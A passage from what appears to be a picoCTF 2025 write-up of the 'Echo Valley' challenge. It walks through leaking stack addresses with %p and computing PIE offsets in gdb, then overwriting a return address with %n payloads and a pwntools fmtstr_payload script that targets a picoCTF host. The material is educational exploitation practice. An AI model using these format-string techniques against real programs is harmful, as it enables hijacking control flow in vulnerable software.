positions.<br>%31$p %21$p<br>You heard in the distance: 0x560a5661c401 0x560a5661c413<br>exit<br>The Valley Disappears<br>[Inferior 1 (process 281) exited normally]</pre><p>Because I ran the program again, the addresses weren’t exactly the same as the above due to PIE (Position-Independent Executable) which randomizes memory addresses at every new run. What was important was that the last 3 digits were the same: <em>401</em> and <em>413</em>.</p><p>From this, I added onto my Python code to calculate the <em>print_flag()</em> function’s memory address based on the offset values I calculated: 408 or 426.</p><pre># Python code.<br><br># Calculating offset in memory between main() and print_flag().<br>main = int(&#39;0x00005596c1fa8401&#39;, 16)<br>print_flag = int(&#39;0x00005596c1fa8269&#39;, 16)<br>diff_1 = main - print_flag<br>print(diff_1)<br><br># Calculating offset in memory between return address of echo_valley() and print_flag().<br>ev_return_addr = int(&#39;0x00005596c1fa8413&#39;, 16)<br>diff_2 = ev_return_addr - print_flag<br>print(diff_2)<br><br><br># Calculating address of print_flag() based on new main().<br>main = int(&#39;0x560a5661c401&#39;, 16)<br>print_flag = main - diff_1     # diff_2 if calculating from echo_valley() return address.<br>print_flag = hex(print_flag)<br>print(print_flag)</pre><p>The corresponding <em>print_flag()</em> address was <em>0x560a5661c269</em>. This was confirmed to be correct as the last 3 digits were the same <em>269</em>.</p><p>So, now, I was ready to enter this address somewhere in the program to execute the <em>print_flag()</em> function, <strong>but how? </strong>I was totally clueless at this point, because entering this address would just echo it back to me. At least PIE TIME’s program had <em>void foo</em> function embedded to execute from the entered address, but this program didn’t have that. What to do…</p><blockquote><strong>Leaking the address of print_flag() to execute the function.</strong></blockquote><p>After doing some research on format string attack, I realized that I had to overwrite one of the stack memory addresses with the <em>print_flag()</em> address to execute it, somehow.</p><p>Running the program, again, in <em>gdb</em> and entering a bunch of <em>%p</em>, I saw something strange in the output. Some positions had repeating values.</p><pre># Running the program and entering %p format specifiers.<br>(gdb) r<br><br>Starting program: /home/user-picoctf/picoctf_2025/echovalley/valley <br>warning: Error disabling address space randomization: Operation not permitted<br>[Thread debugging using libthread_db enabled]<br>Using host libthread_db library &quot;/lib/x86_64-linux-gnu/libthread_db.so.1&quot;.<br><br>Welcome to the Echo Valley, Try Shouting: <br>%p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p<br>You heard in the distance: 0x557dfa0740c1 (nil) 0x7fae29653a00 (nil) 0x557e032ff6b0 0x7025207025207025 0x2520702520702520 0x2070252070252070 0x7025207025207025 0x2520702520702520 0x2070252070252070 0x7025207025207025 0x2520702520702520 0x2070252070252070 0x7025207025207025 0x2520702520702520 0xa70252070252070 (nil) 0xb488fe21fdc5c300 0x7ffdc0d036a0 0x557dfa073413 0x1 0x7fae29466d90 (nil) 0x557dfa073401 0x100000000 0x7ffdc0d037b8 (nil) 0x12debae08be84553 0x7ffdc0d037b8 0x557dfa073401 0x557dfa075d78</pre><p>The output starting from the 6th position showed <em>0x7025207025207025 0x2520702520702520 0x2070252070252070 0x7025207025207025</em>. What were these? I converted them into byte strings, and saw that these were a bunch of <em>%p</em>!</p><pre># Python code.<br><br># Converting hex values to byte strings.<br>x = [7025207025207025, 2520702520702520, 2070252070252070, 7025207025207025, 2520702520702520, 2070252070252070, 7025207025207025, 2520702520702520, 2070252070252070, 7025207025207025, 2520702520702520]<br>for i in x:<br>    y = bytes.fromhex(str(i))<br>    print(y)<br><br># Output:<br>b&#39;p% p% p%&#39;<br>b&#39;% p% p% &#39;<br>b&#39; p% p% p&#39;<br>b&#39;p% p% p%&#39;<br>b&#39;% p% p% &#39;<br>b&#39; p% p% p&#39;</pre><p>So, basically, what I was entering as input was being overwritten to the stack as hex values. And this was consistently occurring at the 6th position.</p><p>To confirm this, I tried typing a bunch of A’s followed by a bunch of <em>%p</em>.</p><pre>Welcome to the Echo Valley, Try Shouting:<br>AAAAAAAA %p %p %p %p %p %p %p %p %p %p<br>You heard in the distance: AAAAAAAA 0x557dfa0740c1 (nil) 0x7fae29653a00 (nil) (nil) 0x4141414141414141 0x2520702520702520 0x2070252070252070 0x7025207025207025 0xa702520702520</pre><p>And, as expected, at the 6th position was <em>0x4141414141414141</em>! The 8 A’s were being overwritten to the 6th memory location on the stack! An A in hex is 0x41.</p><p>I realized that I could take advantage of this 6th position to write the address that I’d like to overwrite with (i.e. <em>main()</em> or <em>echo_valley()</em> return address) the <em>print_flag()</em> address. And when the program executed this overwritten address, it would execute the <em>print_flag()</em> function.</p><p>To do this, it made more sense to use the <em>echo_valley()</em> return address because, by the time I could input, the start of <em>main()</em> had already been executed. It had to be the <em>echo_valley()</em> return address, so that, upon exiting <em>echo_valley()</em> function, it would execute the <em>print_flag()</em> function at its return address.</p><p>So, now, I changed my mind to use the base point as the <em>echo_valley()</em> return address instead of the start of <em>main()</em> address.</p><p>After more research, I found out that <em>%n</em> specifier can be used to write to memory. Conventionally, it would be used like this:</p><pre>// C code demonstrating the use of %n format specifier.<br><br>int val = 0;<br>printf(&quot;AAAA%n&quot;, &amp;val);</pre><p><em>%n </em>specifier would store the number of characters in integer to the <em>val</em> variable. So, in the case of above, <em>val</em> would equal 4 since there were 4 A’s right before <em>%n</em>.</p><p>So, I had to carefully craft my input to somehow overwrite to the <em>echo_valley()</em> return address at the 6th position. Something like: <strong><em>560a5661c413</em></strong><em>560a5661c269</em><strong><em>%n</em></strong><em> </em>(first segment is the <em>echo_valley()</em> return address and the second segment is the <em>print_flag()</em> function).</p><p>But it wouldn’t work this simply because the program would understand this as, <em>“oh, the number of characters before %n is </em><strong><em>24</em></strong><em>, and this will be written to the 6th position of the stack.”</em> Obviously, this was not what I wanted.</p><blockquote><strong>Carefully crafting the input so that the 6th position on the stack would show the return address.</strong></blockquote><p>So, first, I made sure that I could write the <em>echo_valley()</em> return address of <em>560a5661c413</em><strong><em> </em></strong>at the 6th position. The address would need to be input in a way that when converted to hex, it would read <em>560a5661c413. </em>This meant that I would need to input the address as byte strings.</p><p><em>560a5661c413 =&gt; \x56\x0a\x56\x61\xc4\x13</em></p><p>There was one more thing I needed to do. I needed to reverse it in little endian order as this computer architecture that Webshell was running on used little endian order.</p><p>Converting it to little endian order would be:</p><p><em>\x56\x0a\x56\x61\xc4\x13 =&gt; \x13\xc4\x61\x56\x0a\x56</em></p><p>where the last byte becomes first and the first byte becomes last.</p><p>Then, I tried writing this in the 6th position on the stack.</p><pre>Welcome to the Echo Valley, Try Shouting: <br>\x13\xc4\x61\x56\x0a\x56 %p %p %p %p %p %p<br>You heard in the distance: \x13\xc4\x61\x56\x0a\x56 0x55f03631e0c1 (nil) 0x7f3266098a00 (nil) 0x55f04baaa6b0 0x3463785c3331785c</pre><p>Wait, <em>0x3463785c3331785c </em>isn’t right. It was supposed to be <em>560a5661c413…</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5CGwk0kvRaiJh4lzgznZLQ.jpeg" /><figcaption>Generated by Meta AI</figcaption></figure><p>Ok, what was happening was that the input directly from within the program was treating each character as a byte string and converting each into a hex value. So, like, ‘\’ converted to hex, ‘x’ converted to hex, and so on for <em>\x13\xc4\x61\x56\x0a\x56.</em></p><p>After some more research, I found out that I can use the Python command below to pipe the output into the valley program.</p><pre># Python command to pipe output into the program.<br>python -c &quot;import sys; sys.stdout.buffer.write(b&#39;\x13\xc4\x61\x56\x0a\x56 %p %p %p %p %p %p&#39;)&quot; | ./valley<br><br>Welcome to the Echo Valley, Try Shouting: <br>You heard in the distance: aV<br>You heard in the distance: V 0x55623d8180c1 (nil) 0x7f52664f7a00 (nil) (nil) 0x2070252070252056<br>EOF detected. Exiting...</pre><p>And still, the 6th position was <em>0x2070252070252056</em>… which was not the return address. After looking into it, I saw that the <em>\x0a</em> portion was interfering with the command because <em>\x0</em> or<em> \x00</em> are usually understood as NULL characters. So, just to test the idea, I changed the <em>\x0a</em> to <em>\xea</em>.</p><pre># Python command to pipe output into the program.<br>python -c &quot;import sys; sys.stdout.buffer.write(b&#39;\x13\xc4\x61\x56\xea\x56 %p %p %p %p %p %p&#39;)&quot; | ./valley<br><br>Welcome to the Echo Valley, Try Shouting: <br>You heard in the distance: aVV 0x564b1cb360c1 (nil) 0x7f351f96ba00 (nil) 0x564b25b156b0 0x252056ea5661c413<br>EOF detected. Exiting...</pre><p>Now, I saw it! <em>0x2520</em><strong><em>56ea5661c413</em></strong>! I saw that my byte string was written to the 6th position. To simply output just the 6th position, I used <em>direct access parameter</em> <em>%6\$p </em>at the end of the byte string address.</p><pre># Python command to pipe output into the program.<br>python -c &quot;import sys; sys.stdout.buffer.write(b&#39;\x13\xc4\x61\x56\xea\x56 %6\$p&#39;)&quot; | ./valleyWelcome to the Echo Valley, Try Shouting: <br><br>You heard in the distance: aVV 0x252056ea5661c413<br>EOF detected. Exiting...</pre><p>But what was that 2520 at the front of the address? On a 64-bit machine, the address usually has 2 bytes of leading 0’s such that <em>0x000056ea5661c413 </em>as shown by <em>gdb</em> earlier. 00 would be \x00, but this is a NULL character, which would just kill the program. <strong>So, how can I get the first 2 bytes to be 0000? </strong>The 2520 was ‘% ‘, which would be the space and % that immediately followed the byte string address in little endian order.</p><blockquote>Wandering around and getting lost in the rabbit hole…</blockquote><p>But before solving this issue, I went ahead in figuring out how to correctly craft the input to overwrite the return address. I just assumed that my current input of <em>\x13\xc4\x61\x56\xea\x56</em> output <em>0x000056ea5661c413 </em>as the address at the 6th position. I also assumed that this address was a legitimate one for investigative purposes.</p><p>Through further research, I found out that the syntax would be something like: <em>\x13\xc4\x61\x56\xea\x56%94602398909031x%6$n.</em></p><p>The structure is as follows:</p><ol><li>The address to overwrite in byte string, e.g. <em>\x13\xc4\x61\x56\xea\x56</em></li><li>The integer value of the address to write, e.g. <em>%94602398909031x which is the decimal format of the print_flag() address of 560a5661c269 minus 2.</em></li><li>The direct access parameter of where the address is located on the stack, e.g. <em>%6$n</em>.</li></ol><p>This structure was, basically, saying that I wanted to write <em>560a5661c269 </em>at the address<em> 56ea5661c413 </em>which was at the 6th position on the stack.</p><p>The minus 2 from <em>560a5661c269 </em>has to take place because there are 2 characters before the <em>$n</em>: <em>%6</em>. Recall that %n specifier takes the number of characters that precede <em>%n</em> and writes this number to the memory. So, subtracting 2 from <em>94602398909033, </em>which would result in<em> 94602398909031, </em>would make sure to set it to<em> 94602398909033 </em>when executed.</p><p>But <em>94602398909033 </em>was<em> </em>too large of a number. This could take ages to complete because it would need to linearly increment up until reaching this large value. So, I found much better methods that most hackers use, which were called “address splitting” and “sending in chunks.”</p><p>With address splitting, I thought I could do something like this:</p><p><em>\x13\xc4\x61\x56\xea\x56</em><strong><em>\x15\xc4\x61\x56\xea\x56</em></strong><em>\x17\xc4\x61\x56\xea\x56%49761x%22105x%22018x%6$n%7$n%8$n</em></p><p>Basically, utilizing 3 addresses in increasing order to write 2 bytes each into the 6th, 7th, and 8th positions, which would result in the correct alignment of bytes to form <em>56ea5661c413 </em>at the 6th position of the stack. It was the wonders of format string vulnerability.</p><p>Address splitting and sending in chucks would take significantly less time since we are only incrementing up to 2 bytes for each chunk.</p><p>BUT, none of these methods were possible, anyway, as they were all based on the assumption that I could even correctly overwrite the 6th position with the return address. The preceding 0000 was still preventing these methods.</p><p>Now, if the valley program would allow arguments to be input from the command line such that</p><p><em>./valley $’\x13\xc4\x61\x56\xea\x56</em><strong><em>\x15\xc4\x61\x56\xea\x56</em></strong><em>\x17\xc4\x61\x56\xea\x56%49761x%22105x%22018x%6$n%7$n%8$n’</em></p><p>then, maybe these methods would be possible to implement, but the program would not allow that, obviously. To allow this, the program would need to define <em>main()</em> as below:</p><pre>// valley.c if input is allowed from the command line.<br>...<br>int main(int argc, char *argv[]) {<br>   ...<br>}<br>...</pre><blockquote><strong>Utilizing PWNTOOLS library</strong></blockquote><p>Anyways, what could I do, at this point?</p><p>I couldn’t input directly within the program nor execute through python -c nor input from the command line.</p><p>After even more research, I realized that I had to use the the <strong>pwntools</strong> library for Python. This library provided all the resources to input commands to the local file and the remote server. I didn’t even need to connect via <em>netcat</em>. It seemed similar to socket but with a focus on cyber exploitation. After reading some online resources and the docs, I made the following Python program.</p><pre># Python code.<br><br>from pwn import *<br><br># Checksec i.e. checksec ./program.<br>e = ELF(&quot;./valley&quot;)<br><br># This is required to process the length of the payload.<br>context.binary = &#39;./valley&#39;<br><br># Defining HOST URL and PORT number.<br>HOST = &#39;shape-facility.picoctf.net&#39;<br>PORT = 57024<br><br># DEBUG indication to access local or remote.<br>DEBUG = False<br><br>if DEBUG == False:<br>    s = remote(HOST, PORT)<br>else:<br>    s = process(&#39;./valley&#39;)<br>    <br># Response after connection is made.<br>res = s.recvline().decode()<br>print(res)<br><br># Running a loop to stay in the session to keep inputting commands.<br>loop = True<br>while loop:<br>    # Inputfield to enter message.<br>    myinput = input(&quot;Enter: &quot;)<br>    <br>    # If &#39;quit&#39; entered, exit program.<br>    if myinput == &#39;quit&#39;:<br>        loop = False<br>    <br>    # if &#39;ready&#39; is entered, construct payload to conduct format string attack.<br>    elif myinput == &#39;ready&#39;:<br>        # Inputfields to enter data for payload. Must all be integer values.<br>        offset = int(input(&quot;Enter Offset: &quot;))<br>        overwrite_to = int(input(&quot;Enter address to overwrite to: &quot;))<br>        addr_val = int(input(&quot;Enter new address to write: &quot;))<br>        <br>        # Parameters: fmtstr_payload(offset, writes, numbwritten=0, write_size=&#39;byte&#39;)<br>        # Constructing dictionary of addresses for the &#39;writes&#39; parameter of &#39;fmtstr_payload()&#39; function.<br>        addr_dict = {overwrite_to: addr_val}<br>        <br>        # write_size parameter must be &#39;byte&#39;, &#39;short&#39;, or &#39;int&#39; (equivalent of %hhn, %hn, %n, respectively).<br>        payload = fmtstr_payload(offset, addr_dict, write_size=&#39;short&#39;)<br>        print(&quot;Payload length:&quot;, len(payload))<br>        <br>        # Inputting command.<br>        s.sendline(payload)<br>        break<br>    <br>    # Outputting response after input received.<br>    else:<br>        s.sendline(myinput.encode())<br>        res = s.recvline().decode()<br>        print(res)<br><br># Exit program command.<br>end_msg = &quot;exit&quot;<br>s.sendline(end_msg.encode())<br>s.interactive()</pre><p>Basically, the function <em>fmtstr_payload()</em> made it possible to overwrite the 6th position on the stack with the return address, and then, write to the return address to point to the <em>print_flag()</em> address.</p><p>Honestly, what a beautiful library.</p><p>What was important to get right was the ‘<em>write_size</em>’ parameter within the <em>fmtstr_payload()</em> function. It had to be set as ‘short’. Reading through the docs, the options were ‘byte’ (default), ‘short, and ‘int’. Setting this parameter to ‘short’ makes sure to write 2 bytes at a time, which seemed to align with the investigative methods described above, i.e. something in the order of <em>0xc413</em> divided up into 3 or 4 addresses, and then, combining those 2 byte segments into an 8 byte address at the 6th position on the stack.</p><blockquote>Some thoughts in hindsight</blockquote><p>Setting it as ‘byte’ would be 1 byte at a time which would be something in the order of <em>0xc4</em>. It would use many more addresses that can exceed the buffer length of 100 (recall that buf[100] was the variable in the valley.c source code). I actually tried it as ‘byte’, and the payload length continuously came out to be 120.</p><p>Setting it as ‘int’ would be 4 bytes at a time which would be something in the order of <em>0x5661c413</em>. It would use less addresses, so the length would be under 100, but it might not resolve the preceding 0000 as stated earlier. I tried this, as well, and while the payload length was consistently 48, it did not execute the <em>print_flag()</em> function.</p><blockquote><strong>The exploit to capture the darn flag</strong></blockquote><p>I ran the Python program above in Webshell and got the return address on the 21st position and calculated the <em>print_flag() </em>address using the previously calculated memory offset of 426 bytes. This Python program and the binary file (valley) had to be in the same directory to execute successfully.</p><pre># Running Python program on Webshell.<br>python valley.py<br><br>[*] &#39;/home/user-picoctf/picoctf_2025/echovalley/valley&#39;<br>    Arch:       amd64-64-little<br>    RELRO:      Full RELRO<br>    Stack:      Canary found<br>    NX:         NX enabled<br>    PIE:        PIE enabled<br>    SHSTK:      Enabled<br>    IBT:        Enabled<br>    Stripped:   No<br>    Debuginfo:  Yes<br>[+] Starting local process &#39;./valley&#39;: pid 260<br>Welcome to the Echo Valley, Try Shouting: <br><br>Enter: %21$p<br>You heard in the distance: 0x55f9cd6fe413<br><br>Enter:  </pre><p>The initial output above (<em>checksec</em> results) confirmed that leaking memory was really the only way to exploit this as pretty much all defense systems were enabled.</p><p>The <em>echo_valley()</em> return address was really all I needed, so I typed ‘ready’ to construct the payload.</p><pre># Continuing Python program.<br><br>[*] &#39;/home/user-picoctf/picoctf_2025/echovalley/valley&#39;<br>    Arch:       amd64-64-little<br>    RELRO:      Full RELRO<br>    Stack:      Canary found<br>    NX:         NX enabled<br>    PIE:        PIE enabled<br>    SHSTK:      Enabled<br>    IBT:        Enabled<br>    Stripped:   No<br>    Debuginfo:  Yes<br>[+] Starting local process &#39;./valley&#39;: pid 260<br>Welcome to the Echo Valley, Try Shouting: <br><br>Enter: %21$p<br>You heard in the distance: 0x55f9cd6fe413<br><br>Enter: ready<br>Enter Offset: 6<br>Enter address to overwrite to: 94531381879827<br>Enter new address to write: 94531381879401<br>Length of payload is: 64<br>[*] Switching to interactive mode<br>You heard in the distance:                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     $                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      $                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       $                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       $                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       $                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       $                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       $                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       $                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       $                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       $                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       $                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       $                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       $                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       $                                                                                                                      $                                                                                                                                       [*] Got EOF while reading in interactive<br>              <br><br><br><br><br><br>                    $<br><br><br><br><br><br><br><br>                    $<br><br><br><br><br><br><br><br><br>                    $<br><br><br><br><br><br><br><br><br>                    $<br><br><br><br>[*] Process &#39;./valley&#39; stopped with exit code -11 (SIGSEGV) (pid 260)<br>[*] Got EOF while sending in interactive</pre><p>The offset value was the 6th position, so I entered 6.</p><p>The <em>overwrite_to</em> address was set as the <em>echo_valley()</em> return address of <em>94531381879827</em>, which was the decimal representation of <em>0x55f9cd6fe413</em>.</p><p>The new address to write was set as the <em>print_flag()</em> address of <em>94531381879401</em>, which was the decimal representation of <em>0x55f9cd6fe269</em>.</p><p>Hmm…. but no flag…</p><p>I thought it was because I ran the program locally. So, I fired up the instance modified the port in the Python code, set the <em>DEBUG</em> to <em>False</em>, and ran it again.</p><p>But, still I didn’t get the flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FZgAjXKcL3SrkJWlCI9BKA.jpeg" /><figcaption>Generated by Meta AI</figcaption></figure><blockquote><strong>One final obstacle before dawn.</strong></blockquote><p>I looked into what other people have done. A couple people have already posted their solutions and the flag, and all of them stated something about the address in the 20th position and how this pointed to the return address in the 21st position. I didn’t understand this, at first.</p><p>I looked further into it and realized that a computer architecture has a combination of read-write memory and read-only memory. The read-only memory stores the machine code of each standard library functions (i.e. libc) like <em>printf()</em>, <em>scanf()</em>, <em>void()</em>, etc. The read-write memory is the stack memory where, during execution of code, it assigns its memory space to point to a location in the read-only memory to execute a function. For example, if we have <em>int main() { printf(“hello”); … }</em>, the stack memory assigns a space to point to read-only memory space that houses all the functions inside <em>int main()</em> i.e. <em>printf()</em>. This meant that I needed to overwrite the stack memory address that houses the <em>echo_valley()</em> return address, not the actual return address, itself, as it is read-only space.</p><p>Again, I switched to running the program locally to examine it in <em>gdb</em>. This time, I added break points in <em>main()</em> and <em>echo_valley()</em> to be able to investigate the stack pointer (rsp). If the break points weren’t added, then the program would simply run through and clear the stack pointer.</p><pre># Running the program locally in gdb.<br>gdb ./valley<br><br>GNU gdb (Ubuntu 12.1-0ubuntu1~22.04.2) 12.1<br>Copyright (C) 2022 Free Software Foundation, Inc.<br>License GPLv3+: GNU GPL version 3 or later &lt;http://gnu.org/licenses/gpl.html&gt;<br>This is free software: you are free to change and redistribute it.<br>There is NO WARRANTY, to the extent permitted by law.<br>Type &quot;show copying&quot; and &quot;show warranty&quot; for details.<br>This GDB was configured as &quot;x86_64-linux-gnu&quot;.<br>Type &quot;show configuration&quot; for configuration details.<br>For bug reporting instructions, please see:<br>&lt;https://www.gnu.org/software/gdb/bugs/&gt;.<br>Find the GDB manual and other documentation resources online at:<br>    &lt;http://www.gnu.org/software/gdb/documentation/&gt;.<br><br>For help, type &quot;help&quot;.<br>Type &quot;apropos word&quot; to search for commands related to &quot;word&quot;...<br>Reading symbols from ./valley...<br><br>(gdb) b main<br>Breakpoint 1 at 0x55833f41f409: file /home/valley/valley.c, line 47.<br><br>(gdb) b echo_valley<br>Breakpoint 2 at 0x55833f41f313: file /home/valley/valley.c, line 20.<br><br>(gdb) r<br>Starting program: /home/user-picoctf/picoctf_2025/echovalley/valley <br>warning: Error disabling address space randomization: Operation not permitted<br>[Thread debugging using libthread_db enabled]<br>Using host libthread_db library &quot;/lib/x86_64-linux-gnu/libthread_db.so.1&quot;.<br><br>Breakpoint 1, main () at /home/valley/valley.c:47<br>47          echo_valley();<br><br>(gdb) c<br>Continuing.<br><br>Breakpoint 2, echo_valley () at /home/valley/valley.c:20<br>20      void echo_valley() {<br><br>(gdb) disas main<br>Dump of assembler code for function main:<br>   0x000055e439501401 &lt;+0&gt;:     endbr64 <br>   0x000055e439501405 &lt;+4&gt;:     push   %rbp<br>   0x000055e439501406 &lt;+5&gt;:     mov    %rsp,%rbp<br>=&gt; 0x000055e439501409 &lt;+8&gt;:     mov    $0x0,%eax<br>   0x000055e43950140e &lt;+13&gt;:    call   0x55e439501307 &lt;echo_valley&gt;<br>   0x000055e439501413 &lt;+18&gt;:    mov    $0x0,%eax<br>   0x000055e439501418 &lt;+23&gt;:    pop    %rbp<br>   0x000055e439501419 &lt;+24&gt;:    ret    <br>End of assembler dump.<br><br>(gdb) x/20gx $rsp<br>0x7ffe77c53f10: 0x0000000000000000      0x0000000000000000<br>0x7ffe77c53f20: 0x0000000000000000      0x0000000000000000<br>0x7ffe77c53f30: 0x0000000000000000      0x0000000000000000<br>0x7ffe77c53f40: 0x0000000000000000      0x0000000000000000<br>0x7ffe77c53f50: 0x0000000000000000      0x0000000000000000<br>0x7ffe77c53f60: 0x0000000000000000      0x0000000000000000<br>0x7ffe77c53f70: 0x0000000000000000      0x0000000000000000<br>0x7ffe77c53f80: 0x00007ffe77c53f90      0x000055e439501413<br>0x7ffe77c53f90: 0x0000000000000001      0x00007f88cd437d90<br>0x7ffe77c53fa0: 0x0000000000000000      0x000055e439501401</pre><p>It stopped before executing <em>main()</em>, but I decided to continue since I was more interested in the <em>echo_valley()</em> return address. I also thought that maybe it wasn’t much use putting a break on <em>main()</em>… Maybe I shouldn’t have put a break on <em>main()</em>… anyways, who cares, moving on.</p><p>Right before <em>echo_valley()</em>, I examined the stack pointer with <em>x/20gx $rsp</em> command. The ‘<em>gx</em>’ is used instead of ‘<em>x</em>’ for 64-bit machines. This command lists up to 20 memory locations starting from the location of rsp.</p><p>And there I saw the <em>echo_valley()</em> return address of <em>0x000055e43950141</em>3, 